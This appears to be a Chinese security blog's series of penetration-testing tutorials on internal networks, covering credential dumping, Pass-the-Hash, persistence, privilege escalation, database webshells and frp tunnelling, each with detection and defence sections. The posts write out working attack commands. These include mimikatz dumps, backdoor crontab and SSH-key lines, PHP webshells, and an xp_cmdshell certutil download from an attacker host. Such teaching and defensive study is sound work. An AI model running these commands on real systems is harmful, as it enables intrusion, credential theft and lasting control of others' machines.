内网渗透 on SoulJian小站

内网横向移动技术全景

Sat, 29 Aug 2026 21:50:00 +0800

写在前面：合法学习边界

横向移动只允许在授权内网进行。对非授权主机横向、抓凭据可能触犯法律。

一、横向移动的本质

拿到一台主机后，用它的身份/凭据去“串”到内网其他主机，扩大控制面。

1
2
3
4


关键三要素：
1. 有凭据（明文/哈希/票据/Token）
2. 目标开放对应服务（445/5985/3389/22…）
3. 目标账号有权限

二、横向移动的凭据来源

1
2
3
4
5


内存抓取：mimikatz sekurlsa::logonpasswords
哈希：NTLM 哈希（PtH）
票据：Kerberos 票据（PtT / 黄金/白银票据）
明文：WDigest、内存缓存、配置文件
账号密码：弱口令爆破

三、横向技术矩阵

1. SMB 横向（最常用）

1
2
3
4
5
6
7
8


# impacket（Linux 侧）
psexec.py DOMAIN/user@ip -hashes :<ntlm> # 交互 Shell
# 解释：通过 SMB 服务创建一个远程会话，-hashes 直接传 NTLM 哈希，无需明文密码
smbexec.py DOMAIN/user@ip -hashes :<ntlm> # 无盘 Shell
# 解释：不走磁盘，通过 SMB 在内存中执行，更隐蔽
crackmapexec smb 网段 -u user -H <hash> # 批量探测
# 解释：对网段批量测试哪些机器能用该哈希登录，[+] 即成功
# 工具：PsExec、CrackMapExec、Impacket

2. WMI 横向

1
2
3


wmiexec.py DOMAIN/user@ip -hashes :<ntlm> # 更隐蔽
# 解释：通过 WMI 远程执行命令，不落地文件，日志更少
# 特点：不落地文件，走 WMI 远程执行

3. WinRM 横向

1
2
3


evil-winrm -i ip -u user -H <ntlm> # 交互 Shell
# 解释：通过 WinRM(5985) 拿到交互 shell，适合支持 WinRM 的主机
# 前提：目标开启 WinRM（5985/5986）

4. RDP 横向

1
2


拿到账号密码/哈希直接远程桌面
注意：RDP 留登录痕迹，动静大

5. SSH 横向（Linux 内网）

1
2


ssh user@ip
# 复用已抓到的 SSH 私钥/口令

6. 计划任务 / 服务

1
2


创建远程计划任务执行命令
远程创建服务（binPath 指向恶意程序）

7. 其他

1
2
3


数据库横向（MSSQL xp_cmdshell / Redis）
Web 应用横向（利用内网 Web 漏洞）
代理 + 隧道（先打通网络再横向）

横向操作步骤

1
2
3
4
5
6


第 1 步：在已控主机抓凭据（mimikatz sekurlsa::logonpasswords）
第 2 步：确认网段与目标（存活探测 + 端口 445/5985/3389）
第 3 步：用 CrackMapExec 批量验证哈希/口令可用性
第 4 步：按服务选工具横向（SMB→psexec、WMI→wmiexec、WinRM→evil-winrm）
第 5 步：横向后在新主机再抓凭据，向域控/核心推进
第 6 步：全程记录，避免破坏业务

四、横向工具汇总

1
2
3
4
5
6


Impacket（psexec/wmiexec/smbexec）
CrackMapExec（批量横向）
evil-winrm
mimikatz（抓凭据）
Cobalt Strike 的 psexec_psh/wmi 模块
fscan（内网批量发现+利用）

五、检测

1
2
3
4
5


同一账号多主机登录（4624/4625 异常）
LSASS 被读取（mimikatz）
SMB/WMI/WinRM 横向扫描特征
计划任务/服务批量创建
异常 NTLM 登录、票据使用

六、防御

1
2
3
4
5


LAPS 防本地管理员密码复用
Credential Guard 隔离凭据
账号分离（域管不登普通机）
最小开放端口，网络分段
EDR 检测横向行为

七、修复（事件后）

1
2
3
4


重置受影响账号密码
清理会话/票据/后门
补齐补丁、收敛暴露面
复测横向路径是否还存在

八、小结

横向移动 = “凭据 + 可达服务 + 权限”。先抓凭据（mimikatz），再用 CrackMapExec/impacket 批量试，是主流打法。防守核心是防凭据泄露（LAPS/Credential Guard）+ 控横向通道（分段/EDR）。

Linux 提权深入：脏牛等内核漏洞

Sat, 29 Aug 2026 21:40:00 +0800

写在前面：合法学习边界

内核提权只允许在授权靶场进行。利用内核漏洞在真实系统提权可能触发系统崩溃，风险高、可能触犯法律。

一、原理

当 sudo/SUID/可写文件都没戏时，才考虑内核漏洞。内核漏洞 = 低权限用户触发内核中的 bug，拿到 root。

1

低权限进程 → 触发内核漏洞 → 以 root 执行代码

为什么是“最后手段”：破坏性高（可能崩溃）、不同内核版本 exploit 不通、容易暴露。

二、经典与时效的内核漏洞

1. 脏牛 Dirty Cow（CVE-2016-5195）

1
2
3


写时拷贝（COW）竞态 → 可覆盖只读文件（如 /etc/passwd）
影响：Linux 2.6.22 – 4.8.x
利用：dirtycow 写 /etc/passwd 添加 root 用户

2. Dirty Pipe（CVE-2022-0847）

1
2
3


未初始化管道缓冲 → 修改只读文件/覆盖 /etc/passwd
影响：Linux 5.8 – 5.16.x
利用：dirtypipe 写 root 用户

3. PwnKit（CVE-2021-4034）

1
2
3


polkit 的 pkexec 未正确处理参数 → 直接提权 root
影响：几乎所有主流发行版（2022 爆出，老版本长期受影响）
利用：一键 pkexec exploit，非常稳定

4. OverlayFS（CVE-2021-3493）

1
2


Ubuntu overlayfs 文件复制竞态 → 提权
影响：Ubuntu 16.04/18.04/20.04

5. Looney Tunables（CVE-2023-4911）

1
2


glibc ld.so 堆溢出 → 提权
影响：主流发行版部分版本（时效性高）

三、影响

1
2
3


低权限 → root
完全控制主机
横向移动、抓取更多凭据

风险等级：高到严重。

四、利用 / 复现（授权环境）

第一步：确认内核版本与系统

1
2


uname -a
cat /etc/os-release

第二步：对号选 exploit

1
2
3
4
5
6
7
8
9


# 内核版本 → 匹配已知 CVE
# 例：脏牛
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 新密码
su 新用户

# PwnKit（通用性强）
./CVE-2021-4034
id # 已是 root

第三步：验证

1

id # uid=0(root)

五、检测

1
2
3


uname -r 对比已修复版本
补丁缺失、内核长期不更新
存在可复现的 CVE 条件

六、防御

1
2
3
4


及时打内核/系统补丁（最根本）
最小化暴露，防止低权限入口
对可疑编译/执行行为告警
容器/云主机用加固镜像

七、修复

1
2
3


升级内核与关键组件（glibc/polkit 等）
对已提权主机取证、清理
修复后复测：旧 exploit 失效

八、小结

内核提权是 Linux 提权的“核武器”：破坏性大、但成功率取决于版本。正确姿势是先 uname 定版本，再对号打对应 CVE。防御端只有一条最有效——及时打补丁。脏牛、PwnKit 这类“老而经典”的漏洞，至今还在大量老系统上有效。

权限维持实战：Windows 与 Linux 后门

Sat, 29 Aug 2026 19:50:00 +0800

写在前面：合法学习边界

权限维持只允许在授权靶场进行。在真实系统留后门可能触犯法律。本文攻防视角，重点也在“如何发现与清理”。

一、原理

渗透拿下主机后，为避免“重连一次就丢”，会做权限维持（持久化）：把后门藏进系统自启动机制，让它在重启/登录后仍能复活。

1

核心思路：借系统“自动运行”的机制藏后门

二、Windows 权限维持

计划任务

1
2


schtasks /create /tn "svchost" /tr "C:\tmp\x.exe" /sc onstart /ru SYSTEM
:: 解释：创建开机自启任务，伪装成系统服务名，以 SYSTEM 运行

注册表 Run 键

1
2
3


reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v up /d "C:\tmp\x.exe"
:: 解释：写注册表 Run 键，用户登录时自动运行
# 或 HKLM\...\Run 对所有用户生效

服务

1
2


sc create "Upd" binPath= "C:\tmp\x.exe" start= auto
sc start Upd

启动文件夹

1
2


shell:startup 目录放快捷方式/可执行文件
用户登录即运行

WMI 事件订阅

1
2


WMI 事件（如开机/定时）触发执行
隐蔽性强，常规检查难发现

其他

1
2
3


后门账户：net user hack P@ss /add && 加管理员
黄金票据：伪造 krbtgt 持久访问域
C2 服务：把 Beacon/MSF 包成服务

三、Linux 权限维持

crontab

1
2


(crontab -l; echo "*/5 * * * * /tmp/x.sh")|crontab -
# 解释：先读现有 crontab，追加一条每 5 分钟执行的命令再写回（避免覆盖原任务）

rc.local / systemd

1
2
3


echo '/tmp/x.sh &' >> /etc/rc.local
# 解释：追加到开机脚本，系统启动即运行
# 或写 systemd service 开机启动

用户登录脚本

1
2


echo '/tmp/x.sh &' >> ~/.bashrc
# 解释：用户每次开终端都会执行，适合常见用户后门

SSH 后门

1
2


echo 'ssh-rsa AAAA... >> /root/.ssh/authorized_keys
# 解释：写入公钥后，攻击者可用对应私钥免密登录，非常隐蔽

LD_PRELOAD / PAM

1
2


LD_PRELOAD 劫持库
PAM 后门记录/接受指定密码

影响与危害

权限维持若被滥用：

1
2
3


失陷主机被长期控制
后门绕过杀软与人工排查
持续窃取数据、横向移动

风险等级：高。防守难点在于后门藏进正常自启动机制，难发现。

权限维持操作步骤

1
2
3
4
5


第 1 步：根据系统选持久化方式（Windows 计划任务/注册表；Linux crontab/SSH Key）
第 2 步：先测一次是否能触发（重启/登录/定时）
第 3 步：隐藏痕迹（伪服务名、隐蔽路径、去特殊字符）
第 4 步：结合 C2/后门做成“自动回连 + 自恢复”
第 5 步：记录后门位置，便于后续清理

四、检测与清理

Windows

1
2
3
4


计划任务审计、启动项（Autoruns）检查
服务、注册表 Run、WMI 事件订阅排查
后门账户（net user / 克隆账户）检查
EDR 对异常自启动行为告警

Linux

1
2
3
4


crontab -l、/etc/cron.* 检查
rc.local、systemd 服务审计
~/.bashrc、authorized_keys 检查
文件哈希比对、进程与网络连接排查

清理思路：

1
2
3
4


先取证，再断后门
删除计划任务/服务/注册表/脚本/密钥
杀进程、清持久化
修漏洞防止再次进入

五、小结

权限维持的本质是“利用系统自启动机制藏后门”。防守重点不是背后门列表，而是掌握主机的自启动/自运行面（计划任务、服务、启动项、登录脚本），定期审计。清理时先取证、再断链。

内网渗透：Windows 提权实战

Sat, 29 Aug 2026 18:30:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个 Windows 低权限 Shell 后，目标是提升到 SYSTEM/Administrator。Windows 提权大多利用“服务/配置跑在高权限上，却可以被低权限用户控制”这类问题。

常见提权面：

1
2
3
4
5
6


不安全的服务（可写二进制、可写服务路径、未引用的服务路径）
注册表 AlwaysInstallElevated（MSI 以 SYSTEM 安装）
令牌模拟（SeImpersonatePrivilege → Potato 系列）
可写启动文件夹 / 计划任务
DLL 劫持
内核漏洞

二、影响与危害

1
2
3


低权限 → SYSTEM/管理员
控制主机、横向移动
抓取更多凭据

风险等级：高。

三、利用 / 复现

第一步：收集信息

1
2
3
4
5
6
7
8
9


whoami /all :: 用户与权限（看 SeImpersonatePrivilege）
:: 解释：SeImpersonatePrivilege 是 Potato 系列提权的前提
systeminfo :: 系统版本与补丁
:: 解释：核对补丁找缺失 CVE
sc qc <服务名> :: 服务配置
:: 解释：看服务二进制路径/运行账号，判断能否替换
wmic service get name,pathname,startname :: 服务二进制路径
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 解释：值为 1 时 MSI 会以 SYSTEM 安装，可用来提权

第二步：不安全的服务

1
2
3


1. 找服务路径可写或引用的二进制可被替换
2. 替换成恶意程序（如创建管理员用户）
3. 重启/触发服务 → 以 SYSTEM 执行

未引用服务路径：

1
2


# 服务路径含空格且未加引号，可放同名恶意文件到前面目录
sc start <服务名>

第三步：AlwaysInstallElevated

1
2
3


# 注册表值为 1 时，MSI 以 SYSTEM 安装
msfvenom -p windows/... -f msi -o evil.msi
msiexec /quiet /i evil.msi

第四步：令牌模拟（Potato 系列）

1
2


拥有 SeImpersonatePrivilege（服务账号常见）时
用 Potato（Juicy/Rogue/LoneWolf）提权到 SYSTEM

第五步：内核漏洞

1
2


systeminfo 看补丁 → 对缺失补丁查 CVE
只在授权环境用，先评估稳定性

四、检测

1
2
3
4


服务二进制/路径权限异常（可被低权限修改）
注册表 AlwaysInstallElevated 被开启
高权限服务运行账号可疑
补丁严重缺失、版本过旧

五、防御

1
2
3
4
5


服务二进制用受控目录并收紧 ACL
关闭 AlwaysInstallElevated
服务账号最小权限，不随意给 SeImpersonate
及时打补丁
EDR 监控提权行为（Potato、服务替换）

六、加固（修复）

1
2
3
4
5


修复不安全服务路径与权限
关闭 AlwaysInstallElevated
清理提权工具与后门账户
补装补丁
对已提权主机取证

七、小结

Windows 提权核心是“谁在高权限下运行、低权限用户能不能碰它”。先看 whoami /all 和 sc qc，再决定走服务替换、注册表、Potato 还是内核漏洞。和 Linux 提权一样，先信息收集再动手。

内网渗透：数据库提权实战（MSSQL / MySQL / Redis）

Sat, 29 Aug 2026 16:30:00 +0800

写在前面：合法学习边界

数据库提权测试只允许在授权靶场或授权数据库进行。对真实数据库写入 shell、执行命令可能触犯法律。

一、漏洞原理

拿到数据库高权限后，利用数据库自身的“执行能力”突破到操作系统。

三种典型：

1
2
3


MSSQL：xp_cmdshell 扩展存储过程直接执行系统命令
MySQL：有 FILE 权限 → INTO OUTFILE 写 WebShell / UDF 提权
Redis：未授权 → CONFIG 写 crontab/SSH Key/WebShell

共同点：数据库服务以较高权限运行，且具备读写文件或执行命令的能力。

二、影响与危害

1
2
3


数据库服务器 Getshell
横向移动、数据全部泄露
权限提升到系统/root

风险等级：高到严重。

三、利用 / 复现

MSSQL：xp_cmdshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


-- 1. 开启高级选项与 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- 解释：xp_cmdshell 默认关闭，先开高级选项才能再开它
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 2. 执行命令
EXEC xp_cmdshell 'whoami';
-- 解释：whoami 确认执行身份（MSSQL 常以 SYSTEM 运行）

-- 3. 提权/上线
EXEC xp_cmdshell 'certutil -urlcache -split -f http://攻击机/x.exe C:\x.exe';
-- 解释：用系统自带 certutil 下载文件，免额外工具

1
2
3
4
5
6


数据库提权操作步骤：
第 1 步：确认数据库版本/权限/账号
第 2 步：MSSQL 则开启 xp_cmdshell 执行命令
第 3 步：MySQL 有 FILE 权限则写 WebShell 或 UDF
第 4 步：Redis 未授权则写 crontab/SSH Key/WebShell
第 5 步：验证权限并继续内网渗透

常用连接方式：

1
2


impacket-mssqlclient sa:'Pass@123'@目标IP -windows-auth
sqlmap --os-shell # 探测到 SQL 注入时可直接拿 shell

注意：MSSQL 服务默认以 SYSTEM/高权限运行，whoami 往往直接是 nt authority\system。

MySQL：INTO OUTFILE 写 WebShell

1
2
3
4
5
6
7
8
9


-- 1. 确认 FILE 权限与 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'; -- 为空才能写任意目录
-- 解释：secure_file_priv 非空时禁止导出，需先确认
SELECT @@global.secure_file_priv;

-- 2. 写 WebShell（需要知道 web 路径）
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 解释：把一句话写入 Web 目录，访问即执行

若 secure_file_priv 非空，则不能写，需换 UDF。

MySQL：UDF 提权

1
2
3


把 lib_mysqludf_sys.so 放进 plugin 目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');

前提：MySQL 有 FILE 权限 + plugin 目录可写。

Redis：写文件 Getshell

1
2
3
4
5


见《漏洞联动：SSRF 打内网 Redis 未授权 Getshell》
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

四、检测

1
2
3
4


数据库弱口令/未授权（sa 空口令、root 空口令、Redis 无密码）
MSSQL 日志中 xp_cmdshell 相关事件
Web 目录出现非业务文件（shell.php 等）
数据库执行了非业务 SQL（OUTFILE、CONFIG SET）

五、防御

1
2
3
4


数据库账号最小权限，禁止 sa/root 直接用于应用
关闭 xp_cmdshell、禁用危险函数
secure_file_priv 设为不可写目录
Redis 加认证、绑内网、禁危险命令

六、修复

1
2
3
4
5


重置数据库弱口令，收敛权限
关闭 xp_cmdshell、限制 OUTFILE/UDF
清理已写入的 WebShell/crontab/SSH Key
网络隔离数据库，不暴露公网
修复后复测：高危操作被拒

七、小结

数据库是内网提权的高价值目标：sa/root/空密码 + 执行能力 = 直接 GetShell。测试时先看数据库账号权限和配置，再决定走 xp_cmdshell、OUTFILE 还是 UDF。

内网渗透：Linux 提权实战

Sat, 29 Aug 2026 16:20:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个低权限 Shell 后，目标是提升到 root。提权本质是：低权限用户能利用系统配置或漏洞，执行本不该有权限的操作。

常见提权面：

1
2
3
4
5
6


sudo 配置不当（用户可执行 root 命令）
SUID 文件（以所有者权限运行）
可写文件（/etc/passwd、PATH 里的脚本）
cron 任务（可写脚本/PATH 劫持）
内核漏洞
数据库/服务漏洞提权

二、影响与危害

1
2
3


低权限 → root 完全控制
横向移动
数据窃取、后门持久化

风险等级：高（决定渗透是否深入）。

三、利用 / 复现

第一步：收集当前权限

1
2
3
4


id
sudo -l # 看当前用户能 sudo 什么
whoami
cat /etc/passwd | grep -v nologin

第二步：sudo 提权（重点看 GTFOBins）

1
2
3
4
5
6
7
8
9


# 如果 sudo -l 显示可以无密码执行 find/vim/python 等
sudo -l
# 解释：列出当前用户可执行的 sudo 命令，提权的关键入口
# 例：sudo find 提权
sudo find / -exec /bin/sh \;
# 解释：find 有 -exec 可执行命令，/bin/sh 提权；注意 -p 保留 SUID 权限
# 例：sudo python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# 解释：sudo 下 python 直接调系统命令弹 shell

规则：sudo -l 里能执行什么，就去 GTFOBins 查对应的提权命令。

第三步：SUID 提权

1
2
3
4
5
6
7


# 找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 解释：-4000 匹配 SUID 位，SUID 程序以文件所有者（常为 root）权限运行
# 例：find SUID
find / -exec /bin/sh -p \;
# 例：nmap 旧版本交互模式
nmap --interactive

-p 保留 SUID 权限。

第四步：可写文件与 PATH 劫持

1
2
3
4
5


# /etc/passwd 可写 → 添加无密码 root 用户
echo 'hack::0:0::/root:/bin/bash' >> /etc/passwd
# PATH 劫持：把同名恶意文件放进靠前的 PATH 目录
echo '/bin/bash' > /tmp/ls && chmod +x /tmp/ls
export PATH=/tmp:$PATH

第五步：cron 任务提权

1
2
3


cat /etc/crontab
# 如果任务调用可写脚本/命令 → 替换为反弹
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > /可写脚本路径

内核漏洞（谨慎）

1
2
3


uname -a 看版本 → 查对应 CVE
脏牛(DirtyCow) 等历史漏洞
只在靶场/授权环境用，生产先评估影响

四、检测

1
2
3
4


find SUID 扫描、sudo -l 输出是否异常
可写系统目录/脚本
cron 里异常条目
内核版本过旧、补丁缺失

五、防御

1
2
3
4
5


最小化 sudo 授权，按命令白名单
避免不必要 SUID 位
关键文件收紧权限、目录防写
cron 脚本放安全目录并校验
及时打内核补丁

六、加固（修复）

1
2
3
4
5


清理多余 SUID/sudo 授权
修复可写关键路径与脚本
禁用/替换危险 sudo 命令
升级内核补丁
对已提权主机做取证与后门清理

七、小结

Linux 提权的套路很固定：先看 sudo -l 和 SUID，再看可写文件和 cron。这些排查完没戏，才考虑内核漏洞。记住 GTFOBins 是 sudo/SUID 提权的“字典”。

内网渗透：frp 隧道与代理实战

Sat, 29 Aug 2026 13:40:00 +0800

写在前面：合法学习边界

隧道与代理只在授权内网靶场使用。对非授权网络建立隐蔽通道、转发流量可能触犯法律。

一、原理：为什么需要隧道

攻击者拿到一台内网主机后，通常无法直接访问更深的内网网段。隧道/代理的作用是：

1
2
3


把已控主机变成“跳板”
通过它访问原本到不了的内网服务
支持 Socks5 全局代理和单端口转发

frp 是常用方案：frps 跑在攻击机（公网/可访问端），frpc 跑在内网已控主机，两者建立连接。

二、影响与危害

1
2
3


突破网络隔离，横向移动
访问内网 RDP/数据库/Web 等隐蔽服务
稳定持久的内网通道

风险等级：配合失陷主机，等于把内网“透明化”给攻击者。

三、利用 / 复现

第一步：攻击机启动 frps（服务端）

1
2
3
4


# frps.ini
[common]
bind_port = 7000
token = secret123

1

./frps -c frps.ini

第二步：内网主机启动 frpc（客户端）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
token = secret123

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

1

./frpc -c frpc.ini

第三步：本地代理访问内网

1
2
3


# 把 socks5 代理指到攻击机的 1080
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20

端口转发场景

只想转发某个端口：

1
2
3
4
5


[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 13389

然后 rdesktop 攻击机IP:13389 即访问内网 RDP。

四、检测

1
2
3
4


对外连接出现非常规高频端口（7000 等）
frp 进程特征、配置文件残留
内网主机有到公网的异常长连接
流量特征：frp 使用自定义协议头

五、防御

1
2
3
4


限制内网到公网的出站连接（白名单）
监控异常外联与端口复用
EDR 检测隧道/代理工具进程
内网做东西向隔离，收敛可达面

六、加固（修复）

1
2
3
4


清除已控主机上的 frp 与相关进程/开机自启
排查注册表、计划任务、服务中的持久化
收紧出站防火墙，阻断 frps 常用端口
对失陷主机取证，追查隧道建立时间与数据

七、小结

隧道是内网渗透的“血管”：没有它，很多横向动作做不了；有了它，攻击者能稳定访问内网。防守核心是“出站最小化 + 东西向隔离 + 监控异常外联”。

内网横向移动：Pass-the-Hash 实战

Sat, 29 Aug 2026 11:40:00 +0800

写在前面：合法学习边界

Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行，禁止在非授权环境使用。

一、漏洞原理

Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证，不需要明文密码。攻击者拿到用户的 NTLM 哈希后，就能以该用户身份登录其他机器。

1
2


有哈希 = 可以认证
哈希不一定要先破解成明文

这不是“破解”，而是“直接用哈希当凭据”，所以叫 Pass-the-Hash。

前提条件：

1
2
3


拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限

二、影响与危害

1
2
3


横向移动：一台机器沦陷 → 全内网批量沦陷
权限提升：普通机器 → 域控
清除痕迹前可能已被广泛利用

风险等级：高。管理密码复用越严重，影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。

三、利用 / 复现

第一步：拿到哈希

在已拿下的机器上抓凭据：

1
2
3


mimikatz
privilege::debug
sekurlsa::logonpasswords

输出里 NTLM : <64位hex> 就是目标哈希。

其他途径：

1
2
3


SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit

第二步：用哈希横向登录

Linux 侧 impacket：

1
2
3
4
5


# 有交互 Shell（SMB 服务）
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

# 更隐蔽，走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

批量找“哪些机器能用这个哈希登录”：

1

crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>

[+] 标记的机器即成功，可加 -x whoami 远程执行命令。

Windows 侧：

1
2


mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>

结果验证

1
2


登录成功、拿到 Shell
crackmapexec 标记 [+]

四、检测

1
2
3
4


同一账号从多台主机同时登录（来源异常）
LSASS 被读取（mimikatz 特征）
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征

五、防御

1
2
3
4


启用 Credential Guard，隔离 LSASS 凭据
开启 LAPS，避免本地管理员密码复用
限制管理员账号横向使用
账号分离：域管账号不登录普通机器

六、修复

1
2
3
4
5


对已泄露的哈希：立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁，修复可提取凭据的漏洞
复测：确认旧哈希不再能登录其他机器

七、小结

PtH 之所以“有哈希就能横着走”，是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。

内网渗透：信息收集与存活主机探测

Sat, 29 Aug 2026 11:30:00 +0800

写在前面：合法学习边界

内网渗透只允许在你负责或有明确授权的内网环境进行。对非授权网络做扫描、抓取凭据可能触犯法律。以下命令均以授权靶场为例。

一、先摸清“我”在哪

拿到一台主机后，第一步不是扫全内网，而是先看自己这台机器。

Windows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


ipconfig /all :: IP、网关、DNS、DHCP
whoami /all :: 用户、组、特权
systeminfo :: 系统版本、补丁、主机名
net user :: 本地用户
net localgroup administrators
netstat -ano :: 端口与连接
arp -a :: 内网缓存（快速发现相邻主机）
tasklist /svc :: 进程与服务
net view :: 共享与域环境
route print :: 路由表（找其他网段）

Linux

1
2
3
4
5
6
7
8


ifconfig / ip a
id && cat /etc/passwd
uname -a && cat /etc/os-release
netstat -antlp # 监听端口
arp -a
ps aux
cat /etc/hosts
ip route

看 ipconfig 和 route 很重要：内网往往不止一个网段，路由表能告诉你有几个可达网段。

二、识别网段与域环境

1
2
3


网关是 x.x.x.1，说明很可能在 /24 网段
DNS 指向域控，主机加入域 → 可能涉及域渗透
route 里出现多个网段 → 存在内网核心区

域环境的特征：

1
2
3


net user 显示的域前缀
DNS 服务器 = 域控 IP
存在 SRV 记录（_ldap、_kerberos）

三、存活探测

确定网段后，先做快速存活发现，别一上来就全端口扫。

ARP 探测（Windows，最准）

1

arp -a

或者用 arpscan：

1

arp -s 192.168.1.10 ...

ICMP 批量

1

for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i & done

用工具

1
2
3
4


fscan -h 192.168.1.0/24 # 国内实战高频，又快又全
nbtscan 192.168.1.0/24
nmap -sn 192.168.1.0/24
crackmapexec smb 192.168.1.0/24 # 同时探测 SMB 与主机名

fscan 的特点是一次跑完存活、端口、常见服务与弱口令，非常省时间。但要注意：主动扫描会产生流量，需确认授权范围。

四、主机画像

存活主机找到后，给每台机器画个像：

1
2
3
4


开放了哪些端口
跑什么服务
是域控、文件服务器还是 Web 机
有没有 SMB / RDP / MSSQL / Redis 等高价值服务

常用判断：

1
2
3
4
5


445 开放 → 可尝试 SMB 与横向
3389 开放 → RDP
1433 → MSSQL，弱口令常出问题
6379 → Redis，未授权常见
88 → Kerberos，说明可能是域控/域成员

影响与风险

信息收集本身风险不高，但决定后续走向：

1
2
3


信息收集不完整 → 漏掉高价值目标
不验证归属 → 把无关资产算进目标，越界
主动扫描流量大 → 暴露痕迹、惊动防守方

错误的信息收集会把整个测试带偏，甚至造成违规。

五、常见误区

1
2
3
4


一上来就全端口 nmap 全扫，流量大又慢
忽略 arp -a 和路由表，漏掉关键网段
不区分内网机器归属，把 DMZ 和办公网混在一起
只扫不记录，结果无法沉淀成报告

加固建议

1
2
3
4


减少内部服务暴露面，收敛端口
账号/口令复杂度与复用控制
部署内网流量监控与基线核查
对异常扫描与探测行为告警

六、小结

内网信息收集的核心是“先看自己，再找网段，最后给主机画像”。效率工具（fscan、crackmapexec）能省大量时间，但判断“谁是重点目标”才是真正决定后续横向路径的能力。